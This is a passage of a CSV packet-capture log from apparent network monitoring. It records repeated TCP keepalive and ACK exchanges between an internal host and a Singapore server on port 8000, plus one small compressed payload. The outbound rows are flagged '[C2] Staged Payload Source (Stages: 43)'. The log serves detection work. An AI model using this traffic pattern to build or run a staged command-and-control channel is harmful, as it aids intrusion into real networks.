\"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45379, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16059, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:06.977658,864,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e9400040068b0ac0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@..\n....\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42217, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35594, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:07.993368,865,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b144400080063eba0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16058, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:07.993396,866,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4ea400040068b09c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@..\t....\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42218, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35593, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:09.008947,867,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b145400080063eb90a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45381, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16057, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:09.008953,868,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4eb400040068b08c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42219, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35592, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:10.024586,869,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b146400080063eb80a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45382, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16056, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:10.024605,870,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4ec400040068b07c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42220, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35591, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:11.040256,871,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b147400080063eb70a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45383, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16055, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:11.040289,872,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4ed400040068b06c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42221, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35590, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:11.902021,873,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1192263042 Ack=244801123,bc24112907bbbc2411360d0c08004500003db148400080063ea20a98980bc0a3a789fa651f4047107d820e975e6350182014d3fe00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45384, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16034, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263042, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 54270, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:12:11.902054,874,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000028a4ee400040068b11c0a3a7890a98980b1f40fa650e975e6347107d975010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.......\n....@.e..^cG.}.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42222, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35601, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:12.915241,875,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b149400080063eb50a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45385, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16053, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:12.915259,876,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4ef400040068b04c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42223, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35588, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:13.930954,877,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14a400080063eb40a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45386, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16052, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:13.930983,878,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f0400040068b03c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42224, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35587, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:14.946518,879,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14b400080063eb30a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45387, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16051, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:14.946526,880,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f1400040068b02c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", 